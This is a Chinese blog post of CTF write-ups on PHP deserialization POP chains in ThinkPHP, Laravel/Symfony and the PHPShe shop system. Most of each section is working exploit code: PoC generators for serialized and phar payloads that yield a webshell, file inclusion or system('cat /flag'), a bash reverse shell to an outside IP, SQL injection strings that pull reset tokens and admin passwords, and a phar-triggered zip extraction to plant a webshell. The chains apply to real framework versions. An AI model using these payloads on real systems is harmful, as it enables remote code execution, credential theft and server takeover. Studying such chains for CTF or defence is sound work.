php框架反序列化练习

2020-03-16  本文已影响0人  byc_404

之前说打算好好锻炼自己的代码审计能力。首先就还是得从php的开始。最近打算把CTF中出现的几个php常见框架的反序列化pop链相关题目做一做。

必备操作:

强网杯 2019 Upload

严格来说并不是传统的tp框架。但是可以锻炼下从现有功能中找利用链的能力。

首先题目本身要点很隐晦。注册登录后只能有一个一次性的上传图片的功能。同时文件名被MD5后储存起来。暂时无从下手。但是随后发现源码泄露www.tar.gz。下下来后是一个tp5的框架。

首先有趣的是,phpstorm打开项目后有两个位置存在断点。一个是反序列化的位置
Index.php中

public function login_check(){
        $profile=cookie('user');
        if(!empty($profile)){
            $this->profile=unserialize(base64_decode($profile));
            $this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();
            if(array_diff($this->profile_db,$this->profile)==null){
                return 1;
            }else{
                return 0;
            }
        }
    }

还有一个析构方法的位置,在 Register.php

public function __destruct()
 {
     if(!$this->registed){
      $this->checker->index();
}

应该是出题人间接提示我们在反序列化上下手。所以目的就是找到pop链了。
按照目前自己少的可怜的pop链挖掘技术。我的第一步当然是确认题目入口=>$profile被赋值为我们的cookie的反序列化值。那么首先明确了反序列化数据是可控的。

接下来要做的还是应该先看有无可利用的魔术方法。
首先是题目提示的__destruct()方法

public function __destruct()
    {
        if(!$this->registed){
            $this->checker->index();
        }
    }

只是执行了一个checker的index方法
于是在profile.php中发现两个常见魔术方法

public function __get($name)
    {
        return $this->except[$name];
    }

    public function __call($name, $arguments)
    {
        if($this->{$name}){
            $this->{$this->{$name}}($arguments);
        }
    }

_call 和 _get 两个魔术方法,分别书写了在调用不可调用方法和不可调用成员变量时怎么做。_get 会往except 里找,_call 会调用自身的 name 成员变量所指代的变量所指代的方法。
往往在__destruct没有特别显眼的RCE函数时,就需要把多个魔术方法搭配起来。比如此处就可以确定,只要这个check是profile类的对象,就可以因为没有index方法而触发call,然后call把index当做name执行相当于执行this->index然后因为profile不存在index属性而触发get。get就比较直接了,直接在except属性里去找属性。

那么下一步就是,我们要控制except,然后调用profile类中的方法。
仔细审计下源码中其他部分,注意到与我们之前上传图pain功能相关的代码,研究下它怎么工作的:
找到upload_image,

public function upload_img(){
        if($this->checker){
            if(!$this->checker->login_check()){
                $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
                $this->redirect($curr_url,302);
                exit();
            }
        }

        if(!empty($_FILES)){
            $this->filename_tmp=$_FILES['upload_file']['tmp_name'];
            $this->filename=md5($_FILES['upload_file']['name']).".png";
            $this->ext_check();
        }
        if($this->ext) {
            if(getimagesize($this->filename_tmp)) {
                @copy($this->filename_tmp, $this->filename);//利用
                @unlink($this->filename_tmp);
                $this->img="../upload/$this->upload_menu/$this->filename";//filename
                $this->update_img();
            }else{
                $this->error('Forbidden type!', url('../index'));
            }
        }else{
            $this->error('Unknow file type!', url('../index'));
        }
    }

立刻发现,它会调用一个copy函数,让我们最后的上传文件名从filename_tmpfilename。这两个属性都是我们profile类中可控的。基于之前我们只能上传图片,那么此处如果我们利用这个copy,把上传的图片文件名后缀改为php。我们就相当于拿到了可执行的webshell.

至此,利用pop链就很清晰了。

传入register类序列化数据

=>控制registed属性为false,调用__destruct

=>控制checker成员为profile类。调用不存在index()触发__call()

=>__call处理不存在成员index后进入__get

=>控制__get的参数从index变为img,然后让img去调用upload_image或者直接传upload_image

=>进入函数直接把原来上传的图片路径变为php路径,相当于直接从图片马得到webshell

poc如下:

<?php
namespace app\web\controller;

class Profile
{
    public $checker;
    public $filename_tmp;
    public $filename;
    public $upload_menu;
    public $ext;
    public $img;
    public $except;
}

class Register
{
    public $checker;
    public $registed;
}

$profile = new Profile();
$profile->except = ['index' => 'img'];
$profile->img = "upload_img";
$profile->ext = "png";
$profile->filename_tmp = "../public/upload/76d9f00467e5ee6abc3ca60892ef304e/f7f0bbdb094d0b83d7561fc5ec2130d7.png";
$profile->filename = "../public/upload/76d9f00467e5ee6abc3ca60892ef304e/f7f0bbdb094d0b83d7561fc5ec2130d7.php";

$register = new Register();
$register->registed = false;
$register->checker = $profile;

echo urlencode(base64_encode(serialize($register)));

CISCN Laravel1

国赛的题目。上来直接给了一个payload变量等着传,还提示源码。所以就是单纯的找可利用的pop链了。

按着网上的wp姑且把几条链都试了下,感觉审计代码真的很有意思。也进一步提醒我们反序列化漏洞的危害之大。

POPChain1

从之前的额经验我们明白,要入手还是得从__destruct()这种调用条件不太苛刻的魔术方法入手。
double click shift键可以在phpstorm全局搜索关键字。
于是找到第一个类TagAwareAdapter


跟进commit中的invalidTags看到这样的代码

然后确认了下,pool是构造方法中就已经确认的属性。即可控属性。但注意的是,构造方法是这样的。

public function __construct(AdapterInterface $itemsPool, AdapterInterface $tagsPool = null, float $knownTagVersionsTtl = 0.15){
$this->pool = $itemsPool;
......
}

即pool必须是实现了AdapterInterface 这一接口的对象。既然如此,这个条件就被约束了,但这似乎更利于我们寻找符合条件的类:
实现了上面的接口,并且可以调用saveDeferred方法。
那么全局搜搜这一方法。会发现仍旧有多个符合条件的类,我们先找符合条件的一个看看
PhpArrayAdapter


还调用了initialize方法,于是跟进initialize方法。找到PhpArrayTrait.php



发现了incude!于是我们的pop链终于可以以达成文件包含为最终目的了。基于file可控。剩下的就是编写poc了。

<?php

namespace Symfony\Component\Cache{
    final class CacheItem{
    }
}

namespace Symfony\Component\Cache\Adapter{
    use Symfony\Component\Cache\CacheItem;
    class PhpArrayAdapter{
        private $file="/flag";
    }


    class TagAwareAdapter
    {
        private $deferred = [];
        private $pool;

        public function  __construct()
        {
            $this->deferred=array("abc"=>new CacheItem());
            $this->pool=new PhpArrayAdapter();
        }


    }
$obj = new TagAwareAdapter();
echo urlencode(serialize($obj));
}

梳理下以上poc的书写流程。
先把我们的pop链整理下

__destruct()==>          (TagAwareAdapter)
  commit()==>
    invalidtags()==>
      this->pool==>
        saveDeferred()==>           (PhpArrayAdapter)
          initialize()==>文件包含

其中首先注意,入口是TagAwareAdapter。其命名空间是namespace Symfony\Component\Cache\Adapter,同时它use了
Symfony\Component\Cache\CacheItem.而这是我们saveDeferred方法必须的。所以命名空间确定下来。
然后是TagAwareAdapter,上面的源码已经很明确,$items = $this->deferred是一个数组,而saveDeferred的参数$item是数组的键值值。所以确保这点,就能写出poC中TagAwareAdapter的构造方法。

POPChain2

刚刚提到了,既然符合条件调用了saveDeferred方法的类有多个,那其他类是否也有最终达成目的的呢?当然有,假如当时跟进到这一个类
ProxyAdapter

继续跟进doSave(),其中有一个关键代码

($this->setInnerItem)($innerItem, $item);

这个可就非常利于命令执行了。只需前面括号值为system,后面的值为任意命令即可。经确认后发现setInnerItem$inneritem均可控,那么不难得到第二个poc.

<?php
namespace Symfony\Component\Cache;
class CacheItem
{

    protected $innerItem = 'cat /flag';

}

namespace Symfony\Component\Cache\Adapter;

class ProxyAdapter
{
    private $setInnerItem = 'system';
}

class TagAwareAdapter
{
    public $deferred = [];
    public function __construct()
    {
        $this->pool = new ProxyAdapter();
        $this->deferred = array('abc' => new \Symfony\Component\Cache\CacheItem);
    }
}

$a = new TagAwareAdapter();
echo urlencode(serialize($a));
?>

iamthinking

安洵杯之前的web4.当时对这个pop链一无所知,所以现在来跟着介绍试试看。https://www.freebuf.com/column/221939.html

这道题用到的应该是tp5.2跟tp6.0的pop链。
首先是入口

class Index extends BaseController
{
    public function index()
    {
        
        echo "<img src='../test.jpg'"."/>";
        $paylaod = @$_GET['payload'];
        if(isset($paylaod))
        {
            $url = parse_url($_SERVER['REQUEST_URI']);
            parse_str($url['query'],$query);
            foreach($query as $value)
            {
                if(preg_match("/^O/i",$value))
                {
                    die('STOP HACKING');
                    exit();
                }
            }
            unserialize($paylaod);
        }
    }
}

这里只需要绕过parse_url就能bypass了。技巧也很简单,只要让它返回false即可。所以构造出错的url///public/?payload=即可。
接下来看源码了。
全局搜索,在\vendor\topthink\think-orm\src\Model.php找到这个destruct


然后跟进save

需要满足updateData前的这个if:$this->isEmpth()==false和$this->trigger()==true)以及$this->exists=true
那么就要看isEmpty()了
public function isEmpty(): bool
{
    return empty($this->data);
}

只要保证this->data不为空就行。
然后再找到trigger()里,这里不详细提,只需要withEvent=false就也能返回true.
那么可以继续看updateData了。

很长的一段代码,首先看到getChangedData()方法,由于$data是这个函数的返回值,所以得先看看这个函数,在Attribute.php中


$this->force==true可以直接返回我们可控的data。
那么可以看checkAllowFields()方法了。

主要目的是这个getConnection(),那么就需要field跟schema为空。
这样直接进else>然后看到拼接令this->table.this->suffix,令其中任意一个为类的实例即可触发tostring()方法

这里的代码跟传统的tp6有点区别,不过大致相同。那么后面就是tp5.2的链了。

全局搜索来到这个__toString(),位于Conversion.php


直接到toArray去找

很长的一段代码,但是利用点其实还在代码后面的getAttr处的。那么就跟进下
回到attribute.php

继续

然后到getRealFieldName()这,
protected function getRealFieldName(string $name): string
{
    return $this->strict ? $name : Str::snake($name);
}

此时如果$this->strict为true,方法将返回一路从getAttr传过来的$name。然后方法继续,最后getData()返回$this->data['$fieldname']
也就是$this->data['$name']。而这个键值是可控的。
回到getAttr里的getValue():


$value = $closure($value, $this->data);属于非常敏感的调用了。由于$closure = $this->withAttr[$fieldName];
我们就可以执行system(“ls”, [$name=>"ls"])

system ( string command [, int &return_var ] ) : string参数
command要执行的命令。 return_var如果提供 return_var 参数, 则外部命令执行后的返回状态将会被设置到此变量中。

至此算是达成任意命令执行。
这就是完整的一条链了。最后整理下poc:

<?php
namespace think\model\concern {
    trait Conversion
    {    
    }

    trait Attribute
    {
        private $data;
        private $withAttr = ["byc" => "system"];

        public function get()
        {
            $this->data = ["byc" => "cat /flag"];
        }
    }
}

namespace think{
    abstract class Model{
    use model\concern\Attribute;
    use model\concern\Conversion;
    private $lazySave;
    protected $withEvent;
    private $exists;
    private $force;
    protected $field;
    protected $schema;
    protected $table;
    function __construct(){
        $this->lazySave = true;
        $this->withEvent = false;
        $this->exists = true;
        $this->force = true;
        $this->field = [];
        $this->schema = [];
        $this->table = true;
    }
}
}

namespace think\model{
use think\Model;
class Pivot extends Model
{
    function __construct($obj='')
    {
        //定义this->data不为空
        parent::__construct();
        $this->get();
        $this->table = $obj;
    }
}


$a = new Pivot();
$b = new Pivot($a);

echo urlencode(serialize($b));
}

然后发现还有可以直接用工具生成的链......佩服佩服。这里放下wh1t3p1g大佬的自动生成的链把

<?php
/**
 * Created by PhpStorm.
 * User: wh1t3P1g
 */

namespace think\model\concern {
    trait Conversion{
        protected $visible;
    }
    trait RelationShip{
        private $relation;
    }
    trait Attribute{
        private $withAttr;
        private $data;
        protected $type;
    }
    trait ModelEvent{
        protected $withEvent;
    }
}

namespace think {
    abstract class Model{
        use model\concern\RelationShip;
        use model\concern\Conversion;
        use model\concern\Attribute;
        use model\concern\ModelEvent;
        private $lazySave;
        private $exists;
        private $force;
        protected $connection;
        protected $suffix;
        function __construct($obj)
        {
            if($obj == null){
                $this->data = array("wh1t3p1g"=>"cat /flag");
                $this->relation = array("wh1t3p1g"=>[]);
                $this->visible= array("wh1t3p1g"=>[]);
                $this->withAttr = array("wh1t3p1g"=>"system");
            }else{
                $this->lazySave = true;
                $this->withEvent = false;
                $this->exists = true;
                $this->force = true;
                $this->data = array("wh1t3p1g"=>[]);
                $this->connection = "mysql";
                $this->suffix = $obj;
            }
        }
    }
}


namespace think\model {
    class Pivot extends \think\Model{
        function __construct($obj)
        {
            parent::__construct($obj);
        }
    }
}


namespace {
    $pivot1 = new \think\model\Pivot(null);
    $pivot2 = new \think\model\Pivot($pivot1);
    echo urlencode(serialize($pivot2));
}

护网杯 2018 easy_laravel

这题真心有难度。而且还挺麻烦。buuoj上的环境是apache也在有些地方给我带来了困扰。不过最后做完还是收获挺大的。
需要注意不要照抄网上的wp。自己思考。不然第一第二步都做出不来。

首先要先composer install一下,再开始审计源码

POPChain 1

php artisan route:list
查看路由

得到几个有趣的中间件
Laravel的中间件,现在还不太懂。大概理解是写好特定功能的php文件,可以命令行直接生成。

例如,Laravel 内置了一个中间件来验证用户是否经过认证(如登录),如果用户没有经过认证,中间件会将用户重定向到登录页面,而如果用户已经经过认证,中间件就会允许请求继续往前进入下一步操作。

app/Http/Middleware/AdminMiddleware.php

public function handle($request, Closure $next)
    {
        if ($this->auth->user()->email !== 'admin@qvq.im') {
            return redirect(route('error'));
        }
        return $next($request);
    }

有了一个邮箱。

app/Http/Controllers/NoteController.php

public function index(Note $note)
{
    $username = Auth::user()->name;
    $notes = DB::select("SELECT * FROM `notes` WHERE `author`='{$username}'");
    return view('note', compact('notes'));
}

note这用户名存在sql注入漏洞。但是看到
database/factories/ModelFactory.php

$factory->define(App\User::class, function (Faker\Generator $faker) {
    static $password;

    return [
        'name' => '4uuu Nya',
        'email' => 'admin@qvq.im',
        'password' => bcrypt(str_random(40)),
        'remember_token' => str_random(10),
    ];
});

密码被加密,因此不能被注入出来。但是似乎可以搞token.
留意到路由里有password/reset/{token}功能
那既然只要token功能能重置面,就可以注token了
不过先去看重置功能,控制器可以看到是use Illuminate\Foundation\Auth\ResetsPasswords;
去跟一下,发现是个trait

而ResetsPasswords是一个trait,其不能实例化,定义它的目的是为了进行代码复用,此时在这里方便在控制器类resetpassword中使用

从上面功能能看出,注入后token是有回显的。找到database/migrations/2014_10_12_100000_create_password_resets_table.php后看到在password_resets表里
字段数有点迷...5个字段才能发现回显在第二列2那。
注册用户名payload:
1' union select 1,(select group_concat(token)),3,4,5 from password_resets -- -

不过需要先发送admin@qvq.im重置链接,这样库里才会有一个token。

访问链接即可重置密码

登录后看到之前的flag路由功能,访问却显示no flag。所以可能需要其他手段。
题目给出了提示是pop chain | blade expired | blade 模板

在 laravel 中,模板文件是存放在 resources/views 中的,然后会被编译放到 storage/framework/views中,而编译后的文件存在过期的判断。

所以我们要删掉过期文件
这里可以看到计算缓存文件的位置


前面是根目录,后面是sha1计算的值
buu还是apache起的。跟原题不一样......
原题的是/usr/share/nginx/html/resources/views/auth/flag.blade.php
这里apache应该是/var/www/html/storage/framework/views/+sha1(/var/www/html/resources/views/auth/flag.blade.php)
/var/www/html/storage/framework/views/73eb5933be1eb2293500f4a74b45284fd453f0bb.php

看到app/Http/Controllers/UploadController.php里描述的上传功能


其实只是校验了文件头,这给了我们phar反序列化的机会
ctrl+shift+f全局搜索unlink
找到vendor/swiftmailer/swiftmailer/lib/classes/Swift/ByteStream/TemporaryFileByteStream.php
unlink在析构函数里。调用的是getPath()
去它继承的Swift_ByteStream_FileByteStream类里找

    public function getPath()
    {
        return $this->_path;
    }

一个简单可控的参数。而且可以直接构造方法里传入。
加上upload里check功能其实调用了file_exist()。点击即可触发

注意路径的问题。上面的代码还表示接受一个我们传入的path参数,与文件名进行拼接。所以我们需要给path赋值phar://+文件的路径
UploadController中表明了合法文件会被存到app/public下

namespace App\Http\Controllers;

use Flash;
use Storage;
use Illuminate\Http\Request;
use App\Http\Requests\UploadRequest;

class UploadController extends Controller
{
    public function __construct()
    {
        $this->middleware(['auth', 'admin']);
        $this->path = storage_path('app/public');
    }

尝试未果...不知道是不是路径原因
因为nginx应该是usr/share/nginx/html/storage/app/public
我不确定apache下是不是/var/www/html/storage/app/public
参考exp,学习dalao使用相对路径传path=phar://../storage/app/public这样传应该没问题
发现原来上面出错是因为phar生成的序列化数据中关键字没改掉。即要删掉的文件_path的值没换好。但是普通字符串替换就是不成功。

后来发现只用在vendor/swiftmailer/swiftmailer/lib/classes/Swift/ByteStream/TemporaryFileByteStream.php里改写构造方法

class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream
{
    public function __construct()
    {
        #$filePath = tempnam(sys_get_temp_dir(), 'FileByteStream');
        $filePath = "/var/www/html/storage/framework/views/73eb5933be1eb2293500f4a74b45284fd453f0bb.php";
        /*
        if ($filePath === false) {
            throw new Swift_IoException('Failed to retrieve temporary file name.');
        }
        */
        parent::__construct($filePath, true);
    }

poc

<?php
include('autoload.php');
$a =new Swift_ByteStream_TemporaryFileByteStream();
echo(serialize($a));
$p = new Phar('flag.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($a);
$p->addFromString('test.txt','text');
$p->stopBuffering();
?>

学到了通过使用include('autoload.php');来直接引入类。
生成的phar改为gif上传,最后check触发即可在flag中得到flag

post:
filename=%2Fpoc.gif&_token=zLigmu2xUZYGExMwIWGXRDh2WtEwgixP2BTH1Nwg&path=phar://../storage/app/public

POPChain 2

无意中看到这题居然还有getshell的解法。只能说POPchain的构造真的是无穷的。有太多亟待发掘的可能性了。
https://xz.aliyun.com/t/2901

这里dalao的思路也很简单,直接vendor下搜索__destruct()call_user_func()
于是就找到了这两个文件
vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php

<?php

namespace Illuminate\Broadcasting;

use Illuminate\Contracts\Events\Dispatcher;

class PendingBroadcast
{
    /**
     * The event dispatcher implementation.
     *
     * @var \Illuminate\Contracts\Events\Dispatcher
     */
    protected $events;

    /**
     * The event instance.
     *
     * @var mixed
     */
    protected $event;

    /**
     * Create a new pending broadcast instance.
     *
     * @param  \Illuminate\Contracts\Events\Dispatcher  $events
     * @param  mixed  $event
     * @return void
     */
    public function __construct(Dispatcher $events, $event)
    {
        $this->event = $event;
        $this->events = $events;
    }

    /**
     * Handle the object's destruction.
     *
     * @return void
     */
    public function __destruct()
    {
        $this->events->fire($this->event);
    }

    /**
     * Broadcast the event to everyone except the current user.
     *
     * @return $this
     */
    public function toOthers()
    {
        if (method_exists($this->event, 'dontBroadcastToCurrentUser')) {
            $this->event->dontBroadcastToCurrentUser();
        }

        return $this;
    }
}

vendor/fzaninotto/faker/src/Faker/Generator.php

<?php

namespace Faker;


class Generator
{
    protected $providers = array();
    protected $formatters = array();

    public function addProvider($provider)
    {
        array_unshift($this->providers, $provider);
    }

    public function getProviders()
    {
        return $this->providers;
    }

    public function seed($seed = null)
    {
        if ($seed === null) {
            mt_srand();
        } else {
            if (PHP_VERSION_ID < 70100) {
                mt_srand((int) $seed);
            } else {
                mt_srand((int) $seed, MT_RAND_PHP);
            }
        }
    }

    public function format($formatter, $arguments = array())
    {
        return call_user_func_array($this->getFormatter($formatter), $arguments);
    }

    /**
     * @param string $formatter
     *
     * @return Callable
     */
    public function getFormatter($formatter)
    {
        if (isset($this->formatters[$formatter])) {
            return $this->formatters[$formatter];
        }
        foreach ($this->providers as $provider) {
            if (method_exists($provider, $formatter)) {
                $this->formatters[$formatter] = array($provider, $formatter);

                return $this->formatters[$formatter];
            }
        }
        throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
    }

    /**
     * Replaces tokens ('{{ tokenName }}') with the result from the token method call
     *
     * @param  string $string String that needs to bet parsed
     * @return string
     */
    public function parse($string)
    {
        return preg_replace_callback('/\{\{\s?(\w+)\s?\}\}/u', array($this, 'callFormatWithMatches'), $string);
    }

    protected function callFormatWithMatches($matches)
    {
        return $this->format($matches[1]);
    }

    /**
     * @param string $attribute
     *
     * @return mixed
     */
    public function __get($attribute)
    {
        return $this->format($attribute);
    }

    /**
     * @param string $method
     * @param array $attributes
     *
     * @return mixed
     */
    public function __call($method, $attributes)
    {
        return $this->format($method, $attributes);
    }

    public function __destruct()
    {
        $this->seed();
    }
}

不过第二个类我全局看半天都没找到,但是搜详细点还是有查找结果的。可能符合条件太多了吧......

如果已知这两个类,那么POPChain就好办了。
首先是__destruct作入口,它会调用fire()方法。那么只要令调用的实例为后一个类的对象,即可触发__call(),format刚好是一个call_user_func_array()的函数。即可达成命令执行。

对 $this->events->fire($this->event);
events置为Faker\Generator对象
让它找到fire时去赋值system
event置为需要执行的命令即可

poc

<?php
namespace Illuminate\Broadcasting{
    class PendingBroadcast
    {

        protected $events;

        protected $event;

        public function __construct($events, $event)
        {
            $this->event = $event;
            $this->events = $events;
        }


        public function __destruct()
        {
            $this->events->fire($this->event);
        }
    }
}



namespace Faker{
    class Generator
    {
        protected $formatters;

        function __construct($forma){
            $this->formatters = $forma;
        }

        public function format($formatter, $arguments = array())
        {
            return call_user_func_array($this->getFormatter($formatter), $arguments);
        }

        public function getFormatter($formatter)
        {
            if (isset($this->formatters[$formatter])) {
                return $this->formatters[$formatter];
            }
        }

        public function __call($method, $attributes)
        {
            return $this->format($method, $attributes);
        }
    }
}


namespace{
    $fs = array("fire"=>"system");
    $gen = new Faker\Generator($fs);
    $pb = new Illuminate\Broadcasting\PendingBroadcast($gen,"bash -c 'bash -i >& /dev/tcp/174.1.212.23/6666 0>&1'");
    $p = new Phar('1.phar', 0);
    $p->startBuffering();
    $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
    $p->setMetadata($pb);
    $p->addFromString('1.txt','text');
    $p->stopBuffering();
    rename('1.phar', '1.gif');
}
?>

然后跟之前一样的方法触发phar反序列化
成功弹到shell


也确认了我们phar触发的绝对路径是/var/www/html/storage/app/public


flag在根目录下。


RoarCTF PHPshe

phpshe1.7商城系统。严格说不算框架算CMS了。前台后台各一个洞最终getshell

前台sql注入

入口在common.php

if (get_magic_quotes_gpc()) {
    !empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
    !empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
    !empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
    !empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}

传进的变量会被加上前缀_.
\include\plugin\payment\alipay\pay.php存在sql注入

$order_id = pe_dbhold($_g_id);
$order_id = intval($order_id);
$order = $db->pe_select(order_table($order_id), array('order_id'=>$order_id));

先跟进pe_dbhold()


基本就是转义的作用。
看下order_table

function order_table($id) {
    if (stripos($id, '_') !== false) {
        $id_arr = explode('_', $id);
        return "order_{$id_arr[0]}";
    }
    else {
        return "order"; 
    }
}

如果有下划线的话,把下划线前面的部分拼接到order_
最后是进行sql查询的语句pe_select()


那么稍微总结下,我们可控的参数是$_g_id然后过滤后以$order_id进行sql查询。此时表名部分可控。但是传入的where参数array(‘order_id’=>$order_id)又经过了_dowhere函数的处理
后变为order_id='$order_id'
($where_arr[] = "`{$k}` = '{$v}'")

所以可注的地方只有表名。那么需要存在一个order_xxx表名的表。选择pe_order_pay

pay`%20where%201=1%20union%20select%201,2,user(),4,5,6,7,8,9,10,11,12%23_

简单测试发现字段1,3都有回显。那就继续注入admin的密码吧。
但是此时发现。上面的注入进行时都是因_前的语句被截取进sql查询。那么我们接下来进行的语句查询不能含有下划线。说明可能需要无列名注入

pay` where 1=1 union select 1,2,((select a.3 from(select 1,2,3,4,5,6 union select * from admin)a limit 1,1)),4,5,6,7,8,910,11,12%23_

得到密码。md5解码后为altman777

后台getshell

然后进入后台。
通过跟官方源码diff后可以发现出题人手改的位置。这里我就直接进手改的源码分析吧。

 public function __destruct()
  {
      $this->extract(PCLZIP_OPT_PATH, $this->save_path);
  }

多出了一个魔术方法。那么不难想到可能存在phar反序列化。
因为这个类大致实现了解压的功能。
那么去找找触发点吧。
/admin.php?mod=moban&act=del
走到moban.php发现
del这个功能下的pe_dirdel调用了is_file()函数。


然后发现品牌管理处存在文件上传。可以上传zip文件,txt文件,jpg文件。

所以思路清楚了。只需上传webshell的zip包。再通过admin.php的phar反序列化触发即可得到解压的webshell。
同时注意到每次进行操作需要token与Referer的设置


所以在触发反序列化时还要带上token与Referer
生成phar的exp:

<?php
class PclZip
{
    // ----- Filename of the zip file
    var $zipname = '';

    // ----- File descriptor of the zip file
    var $zip_fd = 0;

    // ----- Internal error handling
    var $error_code = 1;
    var $error_string = '';

    // ----- Current status of the magic_quotes_runtime
    // This value store the php configuration for magic_quotes
    // The class can then disable the magic_quotes and reset it after
    var $magic_quotes_status;
    var $save_path;

    // --------------------------------------------------------------------------------
    // Function : PclZip()
    // Description :
    //   Creates a PclZip object and set the name of the associated Zip archive
    //   filename.
    //   Note that no real action is taken, if the archive does not exist it is not
    //   created. Use create() for that.
    // --------------------------------------------------------------------------------
    function __construct($p_zipname)
    {
        //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, 'PclZip::PclZip', "zipname=$p_zipname");

        // ----- Tests the zlib
        

        // ----- Set the attributes
        $this->zipname = $p_zipname;
        $this->zip_fd = 0;
        $this->magic_quotes_status = -1;

        // ----- Return
        //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, 1);
        return;
    }
}

$f=new PclZip("/var/www/html/data/attachment/brand/3.zip");
$f->save_path='/var/www/html/data/';
echo serialize($f);
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($f);
$phar->addFromString("test.txt", "test"); 
$phar->stopBuffering();
?>

将其改为txt后缀上传。
触发的payload

/admin.php?mod=moban&act=del&token=72843c2cc582359032218f26207b413c&tpl=phar:///var/www/html/data/attachment/brand/5.txt

Referer: http://0d62c387-392f-40ea-8057-7a826b4d55a2.node3.buuoj.cn/admin.php?mod=moban

然后就得到data目录下的webshell了。


坑点主要就是上传的文件会改名。所以要找对正确的绝对路径。

上一篇下一篇

猜你喜欢

热点阅读